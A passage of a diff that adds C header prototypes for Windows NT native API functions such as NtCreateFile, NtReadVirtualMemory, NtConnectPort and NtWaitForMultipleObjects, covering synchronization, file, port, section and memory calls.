+NTSTATUS +NTAPI +NtSetLowEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetHighEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtCreateMutant ( + OUT PHANDLE MutantHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN InitialOwner + ); + + +NTSTATUS +NTAPI +NtOpenMutant ( + OUT PHANDLE MutantHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryMutant ( + IN HANDLE MutantHandle, + IN MUTANT_INFORMATION_CLASS MutantInformationClass, + OUT PVOID MutantInformation, + IN ULONG MutantInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtReleaseMutant ( + IN HANDLE MutantHandle, + OUT OPTIONAL PLONG PreviousCount + ); + + +NTSTATUS +NTAPI +NtCreateSemaphore ( + OUT PHANDLE SemaphoreHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN LONG InitialCount, + IN LONG MaximumCount + ); + + +NTSTATUS +NTAPI +NtOpenSemaphore( + OUT PHANDLE SemaphoreHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQuerySemaphore ( + IN HANDLE SemaphoreHandle, + IN SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + OUT PVOID SemaphoreInformation, + IN ULONG SemaphoreInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtReleaseSemaphore( + IN HANDLE SemaphoreHandle, + IN LONG ReleaseCount, + OUT OPTIONAL PLONG PreviousCount + ); + + +NTSTATUS +NTAPI +NtCreateTimer ( + OUT PHANDLE TimerHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN TIMER_TYPE TimerType + ); + + +NTSTATUS +NTAPI +NtOpenTimer ( + OUT PHANDLE TimerHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtCancelTimer ( + IN HANDLE TimerHandle, + OUT OPTIONAL PBOOLEAN CurrentState + ); + + +NTSTATUS +NTAPI +NtQueryTimer ( + IN HANDLE TimerHandle, + IN TIMER_INFORMATION_CLASS TimerInformationClass, + OUT PVOID TimerInformation, + IN ULONG TimerInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetTimer ( + IN HANDLE TimerHandle, + IN PLARGE_INTEGER DueTime, + IN OPTIONAL PTIMER_APC_ROUTINE TimerApcRoutine, + IN OPTIONAL PVOID TimerContext, + IN BOOLEAN ResumeTimer, + IN OPTIONAL LONG Period, + OUT OPTIONAL PBOOLEAN PreviousState + ); + + +NTSTATUS +NTAPI +NtQuerySystemTime ( + OUT PLARGE_INTEGER SystemTime + ); + + +NTSTATUS +NTAPI +NtSetSystemTime ( + IN OPTIONAL PLARGE_INTEGER SystemTime, + OUT OPTIONAL PLARGE_INTEGER PreviousTime + ); + + +NTSTATUS +NTAPI +NtQueryTimerResolution ( + OUT PULONG MaximumTime, + OUT PULONG MinimumTime, + OUT PULONG CurrentTime + ); + + +NTSTATUS +NTAPI +NtSetTimerResolution ( + IN ULONG DesiredTime, + IN BOOLEAN SetResolution, + OUT PULONG ActualTime + ); + + +NTSTATUS +NTAPI +NtAllocateLocallyUniqueId ( + OUT PLUID Luid + ); + + +NTSTATUS +NTAPI +NtSetUuidSeed ( + IN PCHAR Seed + ); + + +NTSTATUS +NTAPI +NtAllocateUuids ( + OUT PULARGE_INTEGER Time, + OUT PULONG Range, + OUT PULONG Sequence, + OUT PCHAR Seed + ); + + +NTSTATUS +NTAPI +NtCreateProfile ( + OUT PHANDLE ProfileHandle, + IN HANDLE Process OPTIONAL, + IN PVOID ProfileBase, + IN SIZE_T ProfileSize, + IN ULONG BucketSize, + IN PULONG Buffer, + IN ULONG BufferSize, + IN KPROFILE_SOURCE ProfileSource, + IN KAFFINITY Affinity + ); + + +NTSTATUS +NTAPI +NtStartProfile ( + IN HANDLE ProfileHandle + ); + + +NTSTATUS +NTAPI +NtStopProfile ( + IN HANDLE ProfileHandle + ); + + +NTSTATUS +NTAPI +NtSetIntervalProfile ( + IN ULONG Interval, + IN KPROFILE_SOURCE Source + ); + + +NTSTATUS +NTAPI +NtQueryIntervalProfile ( + IN KPROFILE_SOURCE ProfileSource, + OUT PULONG Interval + ); + + +NTSTATUS +NTAPI +NtQueryPerformanceCounter ( + OUT PLARGE_INTEGER PerformanceCounter, + OUT OPTIONAL PLARGE_INTEGER PerformanceFrequency + ); + + +NTSTATUS +NTAPI +NtCreateKeyedEvent ( + OUT PHANDLE KeyedEventHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtOpenKeyedEvent ( + OUT PHANDLE KeyedEventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtReleaseKeyedEvent ( + IN HANDLE KeyedEventHandle, + IN PVOID KeyValue, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForKeyedEvent ( + IN HANDLE KeyedEventHandle, + IN PVOID KeyValue, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtQuerySystemInformation ( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT OPTIONAL PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetSystemInformation ( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + IN OPTIONAL PVOID SystemInformation, + IN ULONG SystemInformationLength + ); + + +NTSTATUS +NTAPI +NtSystemDebugControl ( + IN SYSDBG_COMMAND Command, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtRaiseHardError ( + IN NTSTATUS ErrorStatus, + IN ULONG NumberOfParameters, + IN ULONG UnicodeStringParameterMask, + IN OPTIONAL PULONG_PTR Parameters, + IN ULONG ValidResponseOptions, + OUT PULONG Response + ); + + +NTSTATUS +NTAPI +NtQueryDefaultLocale ( + IN BOOLEAN UserProfile, + OUT PLCID DefaultLocaleId + ); + + +NTSTATUS +NTAPI +NtSetDefaultLocale ( + IN BOOLEAN UserProfile, + IN LCID DefaultLocaleId + ); + + +NTSTATUS +NTAPI +NtQueryInstallUILanguage ( + OUT LANGID *InstallUILanguageId + ); + + +NTSTATUS +NTAPI +NtQueryDefaultUILanguage ( + OUT LANGID *DefaultUILanguageId + ); + + +NTSTATUS +NTAPI +NtSetDefaultUILanguage ( + IN LANGID DefaultUILanguageId + ); + + +NTSTATUS +NTAPI +NtSetDefaultHardErrorPort( + IN HANDLE DefaultHardErrorPort + ); + + +NTSTATUS +NTAPI +NtShutdownSystem ( + IN SHUTDOWN_ACTION Action + ); + + +NTSTATUS +NTAPI +NtDisplayString ( + IN PUNICODE_STRING String + ); + + +NTSTATUS +NTAPI +NtAddAtom ( + IN OPTIONAL PWSTR AtomName, + IN ULONG Length, + OUT OPTIONAL PRTL_ATOM Atom + ); + + +NTSTATUS +NTAPI +NtFindAtom ( + IN OPTIONAL PWSTR AtomName, + IN ULONG Length, + OUT OPTIONAL PRTL_ATOM Atom + ); + + +NTSTATUS +NTAPI +NtDeleteAtom ( + IN RTL_ATOM Atom + ); + + +NTSTATUS +NTAPI +NtQueryInformationAtom( + IN RTL_ATOM Atom, + IN ATOM_INFORMATION_CLASS AtomInformationClass, + OUT OPTIONAL PVOID AtomInformation, + IN ULONG AtomInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtCancelIoFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSTATUS +NTAPI +NtCreateNamedPipeFile ( + OUT PHANDLE FileHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN ULONG NamedPipeType, + IN ULONG ReadMode, + IN ULONG CompletionMode, + IN ULONG MaximumInstances, + IN ULONG InboundQuota, + IN ULONG OutboundQuota, + IN OPTIONAL PLARGE_INTEGER DefaultTimeout + ); + + +NTSTATUS +NTAPI +NtCreateMailslotFile ( + OUT PHANDLE FileHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CreateOptions, + IN ULONG MailslotQuota, + IN ULONG MaximumMessageSize, + IN PLARGE_INTEGER ReadTimeout + ); + + +NTSTATUS +NTAPI +NtDeleteFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtFlushBuffersFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSTATUS +NTAPI +NtNotifyChangeDirectoryFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree + ); + + +NTSTATUS +NTAPI +NtQueryAttributesFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PFILE_BASIC_INFORMATION FileInformation + ); + + +NTSTATUS +NTAPI +NtQueryFullAttributesFile( + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PFILE_NETWORK_OPEN_INFORMATION FileInformation + ); + + +NTSTATUS +NTAPI +NtQueryEaFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN PVOID EaList, + IN ULONG EaListLength, + IN OPTIONAL PULONG EaIndex OPTIONAL, + IN BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +NtCreateFile ( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN OPTIONAL PLARGE_INTEGER AllocationSize, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN OPTIONAL PVOID EaBuffer, + IN ULONG EaLength + ); + + +NTSTATUS +NTAPI +NtDeviceIoControlFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSTATUS +NTAPI +NtFsControlFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG FsControlCode, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSTATUS +NTAPI +NtLockFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER ByteOffset, + IN PLARGE_INTEGER Length, + IN ULONG Key, + IN BOOLEAN FailImmediately, + IN BOOLEAN ExclusiveLock + ); + + +NTSTATUS +NTAPI +NtOpenFile ( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + +NTSTATUS +NTAPI +NtQueryDirectoryFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN OPTIONAL PUNICODE_STRING FileName, + IN BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +NtQueryInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSTATUS +NTAPI +NtQueryQuotaInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN OPTIONAL PVOID SidList, + IN ULONG SidListLength, + IN OPTIONAL PSID StartSid, + IN BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +NtQueryVolumeInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSTATUS +NTAPI +NtReadFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtSetInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSTATUS +NTAPI +NtSetQuotaInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length + ); + + +NTSTATUS +NTAPI +NtSetVolumeInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSTATUS +NTAPI +NtWriteFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtUnlockFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER ByteOffset, + IN PLARGE_INTEGER Length, + IN ULONG Key + ); + + +NTSTATUS +NTAPI +NtReadFileScatter ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PFILE_SEGMENT_ELEMENT SegmentArray, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtSetEaFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length + ); + + +NTSTATUS +NTAPI +NtWriteFileGather ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PFILE_SEGMENT_ELEMENT SegmentArray, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtLoadDriver ( + IN PUNICODE_STRING DriverServiceName + ); + + +NTSTATUS +NTAPI +NtUnloadDriver ( + IN PUNICODE_STRING DriverServiceName + ); + + +NTSTATUS +NTAPI +NtCreateIoCompletion ( + OUT PHANDLE IoCompletionHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Count OPTIONAL + ); + + +NTSTATUS +NTAPI +NtOpenIoCompletion ( + OUT PHANDLE IoCompletionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryIoCompletion ( + IN HANDLE IoCompletionHandle, + IN IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + OUT PVOID IoCompletionInformation, + IN ULONG IoCompletionInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetIoCompletion ( + IN HANDLE IoCompletionHandle, + IN PVOID KeyContext, + IN OPTIONAL PVOID ApcContext, + IN NTSTATUS IoStatus, + IN ULONG_PTR IoStatusInformation + ); + + +NTSTATUS +NTAPI +NtRemoveIoCompletion ( + IN HANDLE IoCompletionHandle, + OUT PVOID *KeyContext, + OUT PVOID *ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtCallbackReturn ( + IN PVOID OutputBuffer OPTIONAL, + IN ULONG OutputLength, + IN NTSTATUS Status + ); + + +NTSTATUS +NTAPI +NtQueryDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level + ); + + +NTSTATUS +NTAPI +NtSetDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level, + IN BOOLEAN State + ); + + +NTSTATUS +NTAPI +NtYieldExecution ( + VOID + ); + + +NTSTATUS +NTAPI +NtCreatePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN OPTIONAL ULONG MaxPoolUsage + ); + + +NTSTATUS +NTAPI +NtCreateWaitablePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN OPTIONAL ULONG MaxPoolUsage + ); + + +NTSTATUS +NTAPI +NtConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT OPTIONAL PPORT_VIEW ClientView, + IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + OUT OPTIONAL PULONG MaxMessageLength, + IN OUT OPTIONAL PVOID ConnectionInformation, + IN OUT OPTIONAL PULONG ConnectionInformationLength + ); + + +NTSTATUS +NTAPI +NtSecureConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT OPTIONAL PPORT_VIEW ClientView, + IN OPTIONAL PSID RequiredServerSid, + IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + OUT OPTIONAL PULONG MaxMessageLength, + IN OUT OPTIONAL PVOID ConnectionInformation, + IN OUT OPTIONAL PULONG ConnectionInformationLength + ); + + +NTSTATUS +NTAPI +NtListenPort( + IN HANDLE PortHandle, + OUT PPORT_MESSAGE ConnectionRequest + ); + + +NTSTATUS +NTAPI +NtAcceptConnectPort( + OUT PHANDLE PortHandle, + IN OPTIONAL PVOID PortContext, + IN PPORT_MESSAGE ConnectionRequest, + IN BOOLEAN AcceptConnection, + IN OUT OPTIONAL PPORT_VIEW ServerView, + OUT OPTIONAL PREMOTE_PORT_VIEW ClientView + ); + + +NTSTATUS +NTAPI +NtCompleteConnectPort( + IN HANDLE PortHandle + ); + + +NTSTATUS +NTAPI +NtRequestPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage + ); + + +NTSTATUS +NTAPI +NtRequestWaitReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage, + OUT PPORT_MESSAGE ReplyMessage + ); + + +NTSTATUS +NTAPI +NtReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE ReplyMessage + ); + + +NTSTATUS +NTAPI +NtReplyWaitReplyPort( + IN HANDLE PortHandle, + IN OUT PPORT_MESSAGE ReplyMessage + ); + + +NTSTATUS +NTAPI +NtReplyWaitReceivePort( + IN HANDLE PortHandle, + OUT OPTIONAL PVOID *PortContext , + IN OPTIONAL PPORT_MESSAGE ReplyMessage, + OUT PPORT_MESSAGE ReceiveMessage + ); + + +NTSTATUS +NTAPI +NtReplyWaitReceivePortEx( + IN HANDLE PortHandle, + OUT OPTIONAL PVOID *PortContext, + IN OPTIONAL PPORT_MESSAGE ReplyMessage, + OUT PPORT_MESSAGE ReceiveMessage, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtImpersonateClientOfPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message + ); + + +NTSTATUS +NTAPI +NtReadRequestData( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message, + IN ULONG DataEntryIndex, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + +NTSTATUS +NTAPI +NtWriteRequestData( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message, + IN ULONG DataEntryIndex, + IN PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + +NTSTATUS +NTAPI +NtQueryInformationPort( + IN HANDLE PortHandle, + IN PORT_INFORMATION_CLASS PortInformationClass, + OUT PVOID PortInformation, + IN ULONG Length, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtCreateSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PLARGE_INTEGER MaximumSize, + IN ULONG SectionPageProtection, + IN ULONG AllocationAttributes, + IN OPTIONAL HANDLE FileHandle + ); + + +NTSTATUS +NTAPI +NtOpenSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtMapViewOfSection ( + IN HANDLE SectionHandle, + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG_PTR ZeroBits, + IN SIZE_T CommitSize, + IN OUT OPTIONAL PLARGE_INTEGER SectionOffset, + IN OUT PSIZE_T ViewSize, + IN SECTION_INHERIT InheritDisposition, + IN ULONG AllocationType, + IN ULONG Win32Protect + ); + + +NTSTATUS +NTAPI +NtUnmapViewOfSection ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress + ); + + +NTSTATUS +NTAPI +NtExtendSection ( + IN HANDLE SectionHandle, + IN OUT PLARGE_INTEGER NewSectionSize + ); + + +NTSTATUS +NTAPI +NtAreMappedFilesTheSame ( + IN PVOID File1MappedAsAnImage, + IN PVOID File2MappedAsFile + ); + + +NTSTATUS +NTAPI +NtAllocateVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG_PTR ZeroBits, + IN OUT PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSTATUS +NTAPI +NtFreeVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG FreeType + ); + + +NTSTATUS +NTAPI +NtReadVirtualMemory ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + +NTSTATUS +NTAPI +NtWriteVirtualMemory ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN CONST VOID *Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + +NTSTATUS +NTAPI +NtFlushVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + OUT PIO_STATUS_BLOCK IoStatus + ); + + +NTSTATUS +NTAPI +NtLockVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG MapType + ); + + +NTSTATUS +NTAPI +NtUnlockVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG MapType + ); + + +NTSTATUS +NTAPI +NtProtectVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG NewProtect, + OUT PULONG OldProtect + ); + + +NTSTATUS +NTAPI +NtQueryVirtualMemory ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN MEMORY_INFORMATION_CLASS MemoryInformationClass, + OUT PVOID MemoryInformation, + IN SIZE_T MemoryInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + +NTSTATUS +NTAPI +NtQuerySection ( + IN HANDLE SectionHandle, + IN SECTION_INFORMATION_CLASS SectionInformationClass, + OUT PVOID SectionInformation, + IN SIZE_T SectionInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + +NTSTATUS +NTAPI +NtMapUserPhysicalPages ( + IN PVOID VirtualAddress, + IN ULONG_PTR NumberOfPages, + IN OPTIONAL PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtMapUserPhysicalPagesScatter ( + IN PVOID *VirtualAddresses, + IN ULONG_PTR NumberOfPages, + IN OPTIONAL PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtAllocateUserPhysicalPages ( + IN HANDLE ProcessHandle, + IN OUT PULONG_PTR NumberOfPages, + OUT PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtFreeUserPhysicalPages ( + IN HANDLE ProcessHandle, + IN OUT PULONG_PTR NumberOfPages, + IN PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtGetWriteWatch ( + IN HANDLE ProcessHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN SIZE_T RegionSize, + OUT PVOID *UserAddressArray, + IN OUT PULONG_PTR EntriesInUserAddressArray, + OUT PULONG Granularity + ); + + +NTSTATUS +NTAPI +NtResetWriteWatch ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN SIZE_T RegionSize + ); + + +NTSTATUS +NTAPI +NtCreatePagingFile ( + IN PUNICODE_STRING PageFileName, + IN PLARGE_INTEGER MinimumSize, + IN PLARGE_INTEGER MaximumSize, + IN ULONG Priority + ); + + +NTSTATUS +NTAPI +NtFlushInstructionCache ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN SIZE_T Length + ); + + +NTSTATUS +NTAPI +NtFlushWriteBuffer ( + VOID + ); + + +NTSTATUS +NTAPI +NtQueryObject ( + IN HANDLE Handle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + OUT PVOID ObjectInformation, + IN ULONG ObjectInformationLength, + OUT PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationObject ( + IN HANDLE Handle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + IN PVOID ObjectInformation, + IN ULONG ObjectInformationLength + ); + + +NTSTATUS +NTAPI +NtDuplicateObject ( + IN HANDLE SourceProcessHandle, + IN HANDLE SourceHandle, + IN OPTIONAL HANDLE TargetProcessHandle, + OUT PHANDLE TargetHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Options + ); + + +NTSTATUS +NTAPI +NtMakeTemporaryObject ( + IN HANDLE Handle + ); + + +NTSTATUS +NTAPI +NtMakePermanentObject ( + IN HANDLE Handle + ); + + +NTSTATUS +NTAPI +NtSignalAndWaitForSingleObject ( + IN HANDLE SignalHandle, + IN HANDLE WaitHandle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForSingleObject ( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForMultipleObjects ( + IN ULONG Count, + IN HANDLE Handles[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + 